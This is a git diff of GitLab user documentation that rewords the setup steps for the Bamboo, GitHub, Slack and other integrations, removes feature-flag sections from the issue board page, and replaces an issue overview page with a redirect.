--- a/doc/user/project/integrations/bamboo.md
+++ b/doc/user/project/integrations/bamboo.md
@@ -4,59 +4,66 @@ group: Integrations
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Atlassian Bamboo Service **(FREE)**
+# Atlassian Bamboo integration **(FREE)**
-GitLab provides integration with Atlassian Bamboo for continuous integration.
-When configured, pushes to a project trigger a build in Bamboo automatically.
-Merge requests also display CI/CD status showing whether the build is pending,
-failed, or completed successfully. It also provides a link to the Bamboo build
-page for more information.
+You can automatically trigger builds in Atlassian Bamboo when you push changes
+to your project in GitLab.
-Bamboo doesn't quite provide the same features as a traditional build system when
-it comes to accepting webhooks and commit data. There are a few things that
-need to be configured in a Bamboo build plan before GitLab can integrate.
+When this integration is configured, merge requests also display the following information:
-## Setup
+- A CI/CD status that shows if the build is pending, failed, or has completed successfully.
+- A link to the Bamboo build page for more information.
-### Complete these steps in Bamboo
+Bamboo doesn't provide the same features as a traditional build system when
+accepting webhooks and commit data. You must configure a Bamboo
+build plan before you configure the integration in GitLab.
-1. Navigate to a Bamboo build plan and choose **Configure plan** from the **Actions**
- dropdown.
+## Configure Bamboo
+
+1. In Bamboo, go to a build plan and choose **Actions > Configure plan**.
1. Select the **Triggers** tab.
-1. Click **Add trigger**.
-1. Enter a description such as **GitLab trigger**.
-1. Choose **Repository triggers the build when changes are committed**.
+1. Select **Add trigger**.
+1. Enter a description like `GitLab trigger`.
+1. Select **Repository triggers the build when changes are committed**.
1. Select the checkbox for one or more repositories.
-1. Enter the GitLab IP address in the **Trigger IP addresses** box. This is a
- list of IP addresses that are allowed to trigger Bamboo builds.
+1. Enter the GitLab IP address in **Trigger IP addresses**. These IP addresses
+ are allowed to trigger Bamboo builds.
1. Save the trigger.
-1. In the left pane, select a build stage. If you have multiple build stages
- you want to select the last stage that contains the Git checkout task.
+1. In the left pane, select a build stage. If you have multiple build stages,
+ select the last stage that contains the Git checkout task.
1. Select the **Miscellaneous** tab.
-1. Under **Pattern Match Labeling** put `${bamboo.repository.revision.number}`
- in the **Labels** box.
-1. Save
-
-Bamboo is now ready to accept triggers from GitLab. Next, set up the Bamboo
-service in GitLab.
-
-### Complete these steps in GitLab
-
-1. Navigate to the project you want to configure to trigger builds.
-1. Navigate to the [Integrations page](overview.md#accessing-integrations)
-1. Click **Atlassian Bamboo**.
-1. Ensure that the **Active** toggle is enabled.
-1. Enter the base URL of your Bamboo server. `https://bamboo.example.com`
-1. Enter the build key from your Bamboo build plan. Build keys are typically made
- up from the Project Key and Plan Key that are set on project/plan creation and
- separated with a dash (`-`), for example **PROJ-PLAN**. This is a short, all
- uppercase identifier that is unique. When viewing a plan in Bamboo, the
- build key is also shown in the browser URL, for example `https://bamboo.example.com/browse/PROJ-PLAN`.
-1. If necessary, enter username and password for a Bamboo user that has
+1. Under **Pattern Match Labeling** enter `${bamboo.repository.revision.number}`
+ in **Labels**.
+1. Select **Save**.
+
+Bamboo is ready to accept triggers from GitLab. Next, set up the Bamboo
+integration in GitLab.
+
+## Configure GitLab
+
+1. On the top bar, select **Menu > Projects** and find your project.
+1. On the left sidebar, select **Settings > Integrations**.
+1. Select **Atlassian Bamboo**.
+1. Ensure the **Active** checkbox is selected.
+1. Enter the base URL of your Bamboo server. For example, `https://bamboo.example.com`.
+1. Enter the [build key](#identify-the-bamboo-build-plan-build-key) from your Bamboo
+ build plan.
+1. If necessary, enter a username and password for a Bamboo user that has
access to trigger the build plan. Leave these fields blank if you do not require
authentication.
-1. Save or optionally click **Test Settings**. **Test Settings**
- actually triggers a build in Bamboo.
+1. Optional. To test the configuration and trigger a build in Bamboo,
+ select **Test Settings**.
+1. Select **Save changes**.
+
+### Identify the Bamboo build plan build key
+
+A build key is a unique identifier typically made up from the project key and
+plan key.
+Build keys are short, all uppercase, and separated with a dash (`-`),
+for example `PROJ-PLAN`.
+
+The build key is included in the browser URL when you view a plan in
+Bamboo. For example, `https://bamboo.example.com/browse/PROJ-PLAN`.
## Troubleshooting
diff --git a/doc/user/project/integrations/github.md b/doc/user/project/integrations/github.md
index 47a81594ca9..9f1ea3796c6 100644
--- a/doc/user/project/integrations/github.md
+++ b/doc/user/project/integrations/github.md
@@ -6,17 +6,17 @@ info: To determine the technical writer assigned to the Stage/Group associated w
# GitHub project integration **(PREMIUM)**
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/3836) in GitLab Premium 10.6.
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/3836) in GitLab 10.6.
-GitLab provides an integration for updating the pipeline statuses on GitHub.
-This is especially useful if using GitLab for CI/CD only.
-
-This project integration is separate from the [instance wide GitHub integration](../import/github.md#mirror-a-repository-and-share-pipeline-status)
-and is automatically configured on [GitHub import](../../../integration/github.md).
+You can update GitHub with pipeline status updates from GitLab.
+This integration can help you if you use GitLab for CI/CD.
![Pipeline status update on GitHub](img/github_status_check_pipeline_update.png)
-## Configuration
+This project integration is separate from the [instance-wide GitHub integration](../import/github.md#mirror-a-repository-and-share-pipeline-status)
+and is automatically configured when you import a [GitHub project](../../../integration/github.md).
+
+## Configure the integration
This integration requires a [GitHub API token](https://docs.github.com/en/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token)
with `repo:status` access granted.
@@ -26,31 +26,39 @@ Complete these steps on GitHub:
1. Go to your **Personal access tokens** page at <https://github.com/settings/tokens>.
1. Select **Generate new token**.
1. Under **Note**, enter a name for the new token.
-1. Ensure that `repo:status` is checked and select **Generate token**.
+1. Ensure `repo:status` is selected and select **Generate token**.
1. Copy the generated token to use in GitLab.
Complete these steps in GitLab:
-1. Go to the project you want to configure.
-1. Go to the [Integrations page](overview.md#accessing-integrations)
+1. On the top bar, select **Menu > Projects** and find your project.
+1. On the left sidebar, select **Settings > Integrations**.
1. Select **GitHub**.
-1. Ensure that the **Active** toggle is enabled.
-1. Paste the token you generated on GitHub.
-1. Enter the path to your project on GitHub, such as `https://github.com/username/repository`.
-1. (Optional) To disable static status check names, clear the **Enable static status check names** checkbox.
-1. Select **Save changes** or optionally select **Test settings**.
+1. Ensure the **Active** checkbox is selected.
+1. In **Token**, paste the token you generated on GitHub.
+1. In **Repository URL**, enter the path to your project on GitHub, such as `https://github.com/username/repository`.
+1. Optional. To disable [static status check names](#static-or-dynamic-status-check-names), clear the **Enable static status check names** checkbox.
+1. Optional. Select **Test settings**.
+1. Select **Save changes**.
After configuring the integration, see [Pipelines for external pull requests](../../../ci/ci_cd_for_external_repos/#pipelines-for-external-pull-requests)
to configure pipelines to run for open pull requests.
### Static or dynamic status check names
-> - Introduced in GitLab 11.5: using static status check names as opt-in option.
-> - [In GitLab 12.4](https://gitlab.com/gitlab-org/gitlab/-/issues/9931), static status check names is default behavior for new projects.
+> - Introduced in GitLab 11.5 with static status check names as an opt-in option.
+> - [Changed](https://gitlab.com/gitlab-org/gitlab/-/issues/9931) in GitLab 12.4 to make static status check names the default behavior for new projects.
+
+A status check name can be static or dynamic:
+
+- **Static**: The hostname of your
+ GitLab instance is appended to the status check name.
-This makes it possible to mark these status checks as **Required** on GitHub.
+- **Dynamic**: The branch name is appended
+ to the status check name.
-When **Enable static status check names** is checked on the integration page, your
-GitLab instance host name is appended to a status check name.
+The **Enable static status check names** option enables you to configure
+required status checks in GitHub, which need a consistent (static) name to work correctly.
-When unchecked, it uses dynamic status check names and appends the branch name.
+If you [disable this option](#configure-the-integration),
+GitLab uses dynamic status check names instead.
diff --git a/doc/user/project/integrations/hangouts_chat.md b/doc/user/project/integrations/hangouts_chat.md
index bcaedbc4b10..7a96bb74e3f 100644
--- a/doc/user/project/integrations/hangouts_chat.md
+++ b/doc/user/project/integrations/hangouts_chat.md
@@ -32,7 +32,7 @@ Select a room and create a webhook:
1. Enter the room where you want to receive notifications from GitLab.
1. Open the room dropdown menu on the top-left and select **Manage webhooks**.
1. Enter the name for your webhook, for example "GitLab integration".
-1. (Optional) Add an avatar for your bot.
+1. Optional. Add an avatar for your bot.
1. Select **Save**.
1. Copy the webhook URL.
@@ -46,7 +46,7 @@ Enable the Google Chat integration in GitLab:
1. Scroll down to the end of the page where you find a **Webhook** field.
1. Enter the webhook URL you copied from Google Chat.
1. Select the events you want to be notified about in your Google Chat room.
-1. (Optional) Select **Test settings** to verify the connection.
+1. Optional. Select **Test settings** to verify the connection.
1. Select **Save changes**.
To test the integration, make a change based on the events you selected and
diff --git a/doc/user/project/integrations/img/webhook_testing.png b/doc/user/project/integrations/img/webhook_testing.png
index 27836556acc..88ce05668f9 100644
--- a/doc/user/project/integrations/img/webhook_testing.png
+++ b/doc/user/project/integrations/img/webhook_testing.png
Binary files differ
diff --git a/doc/user/project/integrations/irker.md b/doc/user/project/integrations/irker.md
index b96605ff5c9..279b139bacd 100644
--- a/doc/user/project/integrations/irker.md
+++ b/doc/user/project/integrations/irker.md
@@ -10,7 +10,7 @@ GitLab provides a way to push update messages to an irker server. When
configured, pushes to a project trigger the service to send data directly
to the irker server.
-See also the [irker integration API documentation](../../../api/services.md).
+See also the [irker integration API documentation](../../../api/integrations.md).
For more information, see the [irker project homepage](https://gitlab.com/esr/irker).
diff --git a/doc/user/project/integrations/mattermost.md b/doc/user/project/integrations/mattermost.md
index 119f219499c..f3f8d900e12 100644
--- a/doc/user/project/integrations/mattermost.md
+++ b/doc/user/project/integrations/mattermost.md
@@ -50,12 +50,12 @@ Then fill in the integration configuration:
- **Webhook**: The incoming webhook URL on Mattermost, similar to
`http://mattermost.example/hooks/5xo…`.
-- **Username**: (Optional) The username shown in messages sent to Mattermost.
+- **Username**: Optional. The username shown in messages sent to Mattermost.
To change the bot's username, provide a value.
- **Notify only broken pipelines**: If you enable the **Pipeline** event, and you want
notifications about failed pipelines only.
- **Branches for which notifications are to be sent**: The branches to send notifications for.
-- **Labels to be notified**: (Optional) Labels required for the issue or merge request
+- **Labels to be notified**: Optional. Labels required for the issue or merge request
to trigger a notification. Leave blank to notify for all issues and merge requests.
- **Labels to be notified behavior**: When you use the **Labels to be notified** filter,
messages are sent when an issue or merge request contains _any_ of the labels specified
diff --git a/doc/user/project/integrations/pivotal_tracker.md b/doc/user/project/integrations/pivotal_tracker.md
index 93a3490e4b6..8b17f4afaa8 100644
--- a/doc/user/project/integrations/pivotal_tracker.md
+++ b/doc/user/project/integrations/pivotal_tracker.md
@@ -42,6 +42,6 @@ Complete these steps in GitLab:
1. Select **Pivotal Tracker**.
1. Ensure that the **Active** toggle is enabled.
1. Paste the token you generated in Pivotal Tracker.
-1. (Optional) To restrict this setting to specific branches, list them in the **Restrict to branch**
+1. Optional. To restrict this setting to specific branches, list them in the **Restrict to branch**
field, separated with commas.
1. Select **Save changes** or optionally select **Test settings**.
diff --git a/doc/user/project/integrations/slack.md b/doc/user/project/integrations/slack.md
index d399c7f2901..87f38c3482b 100644
--- a/doc/user/project/integrations/slack.md
+++ b/doc/user/project/integrations/slack.md
@@ -31,7 +31,7 @@ to control GitLab from Slack. Slash commands are configured separately.
[Triggers for Slack notifications](#triggers-for-slack-notifications).
By default, messages are sent to the channel you configured during
[Slack configuration](#configure-slack).
-1. (Optional) To send messages to a different channel, multiple channels, or as
+1. Optional. To send messages to a different channel, multiple channels, or as
a direct message:
- *To send messages to channels,* enter the Slack channel names, separated by
commas.
@@ -42,7 +42,7 @@ to control GitLab from Slack. Slash commands are configured separately.
1. In **Webhook**, enter the webhook URL you copied in the
[Slack configuration](#configure-slack) step.
-1. (Optional) In **Username**, enter the username of the Slack bot that sends
+1. Optional. In **Username**, enter the username of the Slack bot that sends
the notifications.
1. Select the **Notify only broken pipelines** checkbox to notify only on failures.
1. In the **Branches for which notifications are to be sent** dropdown, select which types of branches
diff --git a/doc/user/project/issue_board.md b/doc/user/project/issue_board.md
index 4c35f007fc7..47a2d215024 100644
--- a/doc/user/project/issue_board.md
+++ b/doc/user/project/issue_board.md
@@ -219,27 +219,6 @@ This ordering also affects [issue lists](issues/sorting_issue_lists.md).
Changing the order in an issue board changes the ordering in an issue list,
and vice versa.
-### GraphQL-based issue boards
-
-<!-- This anchor is linked from #blocked-issues as well. -->
-
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/285074) in GitLab 13.9.
-> - [Deployed behind a feature flag](../feature_flags.md), enabled by default.
-> - [Enabled by default](https://gitlab.com/gitlab-org/gitlab/-/issues/248908) in GitLab 14.1
-> - [Feature flag `graphql_board_lists`](https://gitlab.com/gitlab-org/gitlab/-/issues/248908) removed in GitLab 14.3
-
-There can be
-[risks when disabling released features](../../administration/feature_flags.md#risks-when-disabling-released-features).
-Refer to this feature's version history for more details.
-
-Using GraphQL-based boards gives you these
-additional features:
-
-- [Edit more issue attributes](#edit-an-issue)
-- [View blocked issues](#blocked-issues)
-
-Learn more about the known issues in [epic 5596](https://gitlab.com/groups/gitlab-org/-/epics/5596).
-
## GitLab Enterprise features for issue boards
GitLab issue boards are available on the GitLab Free tier, but some
@@ -334,19 +313,13 @@ As in other list types, click the trash icon to remove a list.
### Iteration lists **(PREMIUM)**
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/250479) in GitLab 13.11.
-> - Enabled on GitLab.com and is ready for production use.
-> - Enabled with `iteration_board_lists` flag for self-managed GitLab and is ready for production use.
-> GitLab administrators can opt to [disable the feature flag](#enable-or-disable-iteration-lists-in-boards).
-
-FLAG:
-On self-managed GitLab, by default this feature is available. To hide the feature, ask an
-administrator to [disable the `iteration_board_lists` flag](../../administration/feature_flags.md).
-On GitLab.com, this feature is available.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/250479) in GitLab 13.11 [with a flag](../../administration/feature_flags.md) named `iteration_board_lists`. Enabled by default.
+> - [Generally available](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/75404) in GitLab 14.6. Feature flag `iteration_board_lists` removed.
You're also able to create lists of an iteration.
-These are lists that filter issues by the assigned
-iteration. To add an iteration list:
+These lists filter issues by the assigned iteration.
+
+To add an iteration list:
1. Select **Create list**.
1. Select **Iteration**.
@@ -434,8 +407,6 @@ status.
When you hover over the blocked icon (**{issue-block}**), a detailed information popover is displayed.
-This feature is only supported when using the [GraphQL-based boards](#graphql-based-issue-boards). The feature is enabled by default regardless when you use group issue boards in epic swimlanes mode.
-
![Blocked issues](img/issue_boards_blocked_icon_v13_10.png)
## Actions you can take on an issue board
@@ -457,25 +428,25 @@ If you're not able to do some of the things above, make sure you have the right
### Edit an issue
+> Editing title, iteration, and confidentiality [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/248908) in GitLab 14.1.
+
You can edit an issue without leaving the board view.
To open the right sidebar, select an issue card (not its title).
You can edit the following issue attributes in the right sidebar:
- Assignees
-- [Epic](../group/epics/index.md)
-- Milestone
-- Time tracking value (view only)
+- Confidentiality
- Due date
+- [Epic](../group/epics/index.md)
+- [Iteration](../group/iterations/index.md)
- Labels
-- [Weight](issues/issue_weight.md)
+- Milestone
- Notifications setting
-
-When you use [GraphQL-based boards](#graphql-based-issue-boards), you can also edit the following issue attributes:
-
- Title
-- [Iteration](../group/iterations/index.md)
-- Confidentiality
+- [Weight](issues/issue_weight.md)
+
+Additionally, you can also see the time tracking value.
### Create a new list
@@ -620,13 +591,12 @@ and the target list.
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/18954) in GitLab 12.4.
> - [Placed](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/61955) behind a [feature flag](../feature_flags.md), disabled by default in GitLab 14.0.
-> - Disabled on GitLab.com.
-> - Not recommended for production use.
-> - To use in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-multi-selecting-issue-cards). **(FREE SELF)**
-This in-development feature might not be available for your use. There can be
-[risks when enabling features still in development](../../administration/feature_flags.md#risks-when-enabling-features-still-in-development).
-Refer to this feature's version history for more details.
+FLAG:
+On self-managed GitLab, by default this feature is not available. To make it available, ask an
+administrator to [enable the feature flag](../../administration/feature_flags.md) named `board_multi_select`.
+On GitLab.com, this feature is not available.
+The feature is not ready for production use.
You can select multiple issue cards, then drag the group to another position within the list, or to
another list. This makes it faster to reorder many issues at once.
@@ -668,41 +638,3 @@ A few things to remember:
- For performance and visibility reasons, each list shows the first 20 issues
by default. If you have more than 20 issues, start scrolling down and the next
20 appear.
-
-### Enable or disable iteration lists in boards **(PREMIUM SELF)**
-
-The iteration list is under development but ready for production use. It is
-deployed behind a feature flag that is **enabled by default**.
-[GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md)
-can disable it.
-
-To enable it:
-
-```ruby
-Feature.enable(:iteration_board_lists)
-```
-
-To disable it:
-
-```ruby
-Feature.disable(:iteration_board_lists)
-```
-
-### Enable or disable multi-selecting issue cards **(FREE SELF)**
-
-Multi-selecting issue cards is under development and not ready for production use. It is
-deployed behind a feature flag that is **disabled by default**.
-[GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md)
-can enable it.
-
-To enable it:
-
-```ruby
-Feature.enable(:board_multi_select)
-```
-
-To disable it:
-
-```ruby
-Feature.disable(:board_multi_select)
-```
diff --git a/doc/user/project/issues/confidential_issues.md b/doc/user/project/issues/confidential_issues.md
index b8a01f7ccd6..e8c58f2feb9 100644
--- a/doc/user/project/issues/confidential_issues.md
+++ b/doc/user/project/issues/confidential_issues.md
@@ -42,6 +42,11 @@ system note in the issue's comments.
![Confidential issues system notes](img/confidential_issues_system_notes.png)
+When an issue is made confidential, only users with at least the [Reporter role](../../permissions.md)
+for the project have access to the issue.
+Users with Guest or [Minimal](../../permissions.md#users-with-minimal-access) roles can't access
+the issue even if they were actively participating before the change.
+
## Indications of a confidential issue
There are a few things that visually separate a confidential issue from a
@@ -88,7 +93,7 @@ sees in the project's search results respectively.
|:---------------------------------------------------------------------------------------|:---------------------------------------------------------------------------------|
| ![Confidential issues search by maintainer](img/confidential_issues_search_master.png) | ![Confidential issues search by guest](img/confidential_issues_search_guest.png) |
-## Related links
+## Related topics
- [Merge requests for confidential issues](../merge_requests/confidential.md)
- [Make an epic confidential](../../group/epics/manage_epics.md#make-an-epic-confidential)
diff --git a/doc/user/project/issues/csv_import.md b/doc/user/project/issues/csv_import.md
index 02a4f6a4384..69dc0cbafd8 100644
--- a/doc/user/project/issues/csv_import.md
+++ b/doc/user/project/issues/csv_import.md
@@ -10,7 +10,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
Issues can be imported to a project by uploading a CSV file with the columns
`title` and `description`. Other columns are **not** imported. If you want to
-retain columns such as labels and milestones, consider the [Move Issue feature](managing_issues.md#moving-issues).
+retain columns such as labels and milestones, consider the [Move Issue feature](managing_issues.md#move-an-issue).
The user uploading the CSV file is set as the author of the imported issues.
@@ -48,7 +48,7 @@ When importing issues from a CSV file, it must be formatted in a certain way:
- **double-quote character:** The double-quote (`"`) character is used to quote fields,
enabling the use of the column separator within a field (see the third line in the
sample CSV data below). To insert a double-quote (`"`) within a quoted
- field, use two double-quote characters in succession, i.e. `""`.
+ field, use two double-quote characters in succession (`""`).
- **data rows:** After the header row, succeeding rows must follow the same column
order. The issue title is required while the description is optional.
diff --git a/doc/user/project/issues/design_management.md b/doc/user/project/issues/design_management.md
index 37c00bf0efa..ecf35fc4dcf 100644
--- a/doc/user/project/issues/design_management.md
+++ b/doc/user/project/issues/design_management.md
@@ -271,4 +271,4 @@ This is rendered as:
User activity events on designs (creation, deletion, and updates) are tracked by GitLab and
displayed on the [user profile](../../profile/index.md#access-your-user-profile),
[group](../../group/index.md#view-group-activity),
-and [project](../working_with_projects.md#project-activity) activity pages.
+and [project](../working_with_projects.md#view-project-activity) activity pages.
diff --git a/doc/user/project/issues/img/button_close_issue_v13_6.png b/doc/user/project/issues/img/button_close_issue_v13_6.png
deleted file mode 100644
index 6c7f8da496b..00000000000
--- a/doc/user/project/issues/img/button_close_issue_v13_6.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/issues/img/comment-or-discussion.png b/doc/user/project/issues/img/comment-or-discussion.png
deleted file mode 100644
index a29014c984c..00000000000
--- a/doc/user/project/issues/img/comment-or-discussion.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/issues/img/create_mr_from_issue.png b/doc/user/project/issues/img/create_mr_from_issue.png
deleted file mode 100644
index d05a678cd17..00000000000
--- a/doc/user/project/issues/img/create_mr_from_issue.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/issues/img/delete_issue_v13_11.png b/doc/user/project/issues/img/delete_issue_v13_11.png
deleted file mode 100644
index d9905012eab..00000000000
--- a/doc/user/project/issues/img/delete_issue_v13_11.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/issues/img/disable_issue_auto_close.png b/doc/user/project/issues/img/disable_issue_auto_close.png
deleted file mode 100644
index 5894d39622a..00000000000
--- a/doc/user/project/issues/img/disable_issue_auto_close.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/issues/img/issue_activity_sort_order_v12_10.png b/doc/user/project/issues/img/issue_activity_sort_order_v12_10.png
deleted file mode 100644
index 3e19ee1ac66..00000000000
--- a/doc/user/project/issues/img/issue_activity_sort_order_v12_10.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/issues/img/issue_type_change_v13_12.png b/doc/user/project/issues/img/issue_type_change_v13_12.png
deleted file mode 100644
index 55aa607b878..00000000000
--- a/doc/user/project/issues/img/issue_type_change_v13_12.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/issues/img/issues_main_view_numbered.png b/doc/user/project/issues/img/issues_main_view_numbered.png
deleted file mode 100644
index 92b9df44972..00000000000
--- a/doc/user/project/issues/img/issues_main_view_numbered.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/issues/img/merge_request_closes_issue_v13_11.png b/doc/user/project/issues/img/merge_request_closes_issue_v13_11.png
deleted file mode 100644
index 26b42239c12..00000000000
--- a/doc/user/project/issues/img/merge_request_closes_issue_v13_11.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/issues/img/new_issue_from_email.png b/doc/user/project/issues/img/new_issue_from_email.png
deleted file mode 100644
index 6da899ea37c..00000000000
--- a/doc/user/project/issues/img/new_issue_from_email.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/issues/img/new_issue_from_issue_board.png b/doc/user/project/issues/img/new_issue_from_issue_board.png
deleted file mode 100644
index 30a1ffb9011..00000000000
--- a/doc/user/project/issues/img/new_issue_from_issue_board.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/issues/img/new_issue_from_open_issue_v13_6.png b/doc/user/project/issues/img/new_issue_from_open_issue_v13_6.png
deleted file mode 100644
index 902aa40614a..00000000000
--- a/doc/user/project/issues/img/new_issue_from_open_issue_v13_6.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/issues/img/new_issue_from_projects_dashboard.png b/doc/user/project/issues/img/new_issue_from_projects_dashboard.png
deleted file mode 100644
index 474ca2b45c0..00000000000
--- a/doc/user/project/issues/img/new_issue_from_projects_dashboard.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/issues/img/new_issue_from_tracker_list.png b/doc/user/project/issues/img/new_issue_from_tracker_list.png
deleted file mode 100644
index 66793cb44fa..00000000000
--- a/doc/user/project/issues/img/new_issue_from_tracker_list.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/issues/img/new_issue_v13_1.png b/doc/user/project/issues/img/new_issue_v13_1.png
deleted file mode 100644
index a66846c234e..00000000000
--- a/doc/user/project/issues/img/new_issue_v13_1.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/issues/img/select_project_from_group_level_issue_tracker_v13_11.png b/doc/user/project/issues/img/select_project_from_group_level_issue_tracker_v13_11.png
deleted file mode 100644
index 4612ae254d4..00000000000
--- a/doc/user/project/issues/img/select_project_from_group_level_issue_tracker_v13_11.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/issues/img/show-all-activity.png b/doc/user/project/issues/img/show-all-activity.png
deleted file mode 100644
index 55c6f5ab5db..00000000000
--- a/doc/user/project/issues/img/show-all-activity.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/issues/img/sidebar_move_issue.png b/doc/user/project/issues/img/sidebar_move_issue.png
deleted file mode 100644
index 031284a24b2..00000000000
--- a/doc/user/project/issues/img/sidebar_move_issue.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/issues/img/similar_issues.png b/doc/user/project/issues/img/similar_issues.png
deleted file mode 100644
index c5b7902b2ac..00000000000
--- a/doc/user/project/issues/img/similar_issues.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/issues/index.md b/doc/user/project/issues/index.md
index 64838b261ce..bd0cf92e320 100644
--- a/doc/user/project/issues/index.md
+++ b/doc/user/project/issues/index.md
@@ -29,24 +29,25 @@ To learn how the GitLab Strategic Marketing department uses GitLab issues with [
## Related topics
-- [Create issues](managing_issues.md#create-a-new-issue)
+- [Create issues](managing_issues.md#create-an-issue)
- [Create an issue from a template](../../project/description_templates.md#use-the-templates)
-- [Move issues](managing_issues.md#moving-issues)
-- [Close issues](managing_issues.md#closing-issues)
-- [Delete issues](managing_issues.md#deleting-issues)
+- [Edit issues](managing_issues.md#edit-an-issue)
+- [Move issues](managing_issues.md#move-an-issue)
+- [Close issues](managing_issues.md#close-an-issue)
+- [Delete issues](managing_issues.md#delete-an-issue)
- [Promote issues](managing_issues.md#promote-an-issue-to-an-epic)
- [Set a due date](due_dates.md)
- [Import issues](csv_import.md)
- [Export issues](csv_export.md)
- [Upload designs to issues](design_management.md)
- [Linked issues](related_issues.md)
+- [Similar issues](managing_issues.md#similar-issues)
+- [Health status](managing_issues.md#health-status)
- [Cross-link issues](crosslinking_issues.md)
-- [Bulk edit issues](../issues/managing_issues.md)
- [Sort issue lists](sorting_issue_lists.md)
- [Search for issues](../../search/index.md#filter-issue-and-merge-request-lists)
- [Epics](../../group/epics/index.md)
- [Issue boards](../issue_board.md)
- [Issues API](../../../api/issues.md)
- [Configure an external issue tracker](../../../integration/external-issue-tracker.md)
-- [Parts of an issue](issue_data_and_actions.md)
- [Tasks](../../tasks.md)
diff --git a/doc/user/project/issues/issue_data_and_actions.md b/doc/user/project/issues/issue_data_and_actions.md
index 6bb60e5e31a..66ca29c094e 100644
--- a/doc/user/project/issues/issue_data_and_actions.md
+++ b/doc/user/project/issues/issue_data_and_actions.md
@@ -1,315 +1,9 @@
---
-stage: Plan
-group: Project Management
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+redirect_to: 'index.md'
+remove_date: '2022-02-24'
---
-# Issue Data and Actions **(FREE)**
+This file was moved to [another location](index.md).
-Please read through the [GitLab Issue Documentation](index.md) for an overview on GitLab Issues.
-
-## Parts of an Issue
-
-The image below illustrates what an issue may look like. Certain parts
-look slightly different or are absent, depending on the GitLab version
-and the user's permissions.
-
-You can find all of an issue's information on one page.
-
-![Issue view](img/issues_main_view_numbered.png)
-
-The numbers in the image correspond to the following features:
-
-- **1.** [Issue actions](#issue-actions)
-- **2.** [To Do](#to-do)
-- **3.** [Assignee](#assignee)
- - **3.1.** [Multiple Assignees](#multiple-assignees)
-- **4.** [Epic](#epic)
-- **5.** [Milestone](#milestone)
-- **6.** [Time tracking](#time-tracking)
-- **7.** [Due date](#due-date)
-- **8.** [Labels](#labels)
-- **9.** [Weight](#weight)
-- **10.** [Confidentiality](#confidentiality)
-- **11.** [Lock issue](#lock-issue)
-- **12.** [Participants](#participants)
-- **13.** [Notifications](#notifications)
-- **14.** [Reference](#reference)
-- [Issue email](#email)
-- **15.** [Edit](#edit)
-- **16.** [Description](#description)
-- **17.** [Mentions](#mentions)
-- **18.** [Linked Issues](#linked-issues)
-- **19.** [Related Merge Requests](#related-merge-requests)
-- **20.** [Award emoji](#award-emoji)
-- **21.** [Show all activity](#show-all-activity)
-- **22.** [Create Merge Request](#create-merge-request)
-- **23.** [Issue history](#issue-history)
- - [Activity sort order](#activity-sort-order)
-- **24.** [Comments](#comments)
-- **25.** [Submit comment, start a thread, or comment and close](#submit-comment-start-a-thread-or-comment-and-close)
-- **26.** [Zoom meetings](#zoom-meetings)
-
-Many of the elements of the issue screen refresh automatically, such as the title and
-description, when they are changed by another user. Comments and system notes also
-update automatically in response to various actions and content updates.
-
-### Issue actions
-
-In an open issue, you can close it by selecting the **Close issue** button.
-The issue is marked as closed but is not deleted.
-
-To reopen a closed issue, select the **Reopen issue** button.
-A reopened issue is no different from any other open issue.
-
-To access additional actions, select the vertical ellipsis
-(**{ellipsis_v}**) button:
-
-- To create a new issue in the same project, select **New issue** in the dropdown menu.
-
-- If you are not the issue author, you can [submit an abuse report](../../report_abuse.md).
- Select **Report abuse** in the dropdown menu.
-
-### To Do
-
-You can add issues to and remove issues from your [GitLab To-Do List](../../todos.md).
-
-The button to do this has a different label depending on whether the issue is already on your To-Do
-List or not. If the issue is:
-
-- Already on your To-Do List: The button is labeled **Mark as done**. Click the button to remove the issue from your To-Do List.
-- Not on your To-Do List: The button is labeled **Add a to do**. Click the button to add the issue to your To-Do List.
-
-### Assignee
-
-An issue can be assigned to:
-
-- Yourself.
-- Another person.
-- [Many people](#multiple-assignees). **(PREMIUM)**
-
-The assignees can be changed as often as needed. The idea is that the assignees are
-responsible for that issue until it's reassigned to someone else to take it from there.
-When assigned to someone, it appears in their assigned issues list.
-
-NOTE:
-If a user is not member of that project, it can only be
-assigned to them if they created the issue themselves.
-
-#### Multiple Assignees **(PREMIUM)**
-
-Often, multiple people work on the same issue together. This can be difficult
-to track in large teams where there is shared ownership of an issue.
-
-To help with this, you can use GitLab to
-[assign multiple people](multiple_assignees_for_issues.md) to an issue.
-
-### Epic **(PREMIUM)**
-
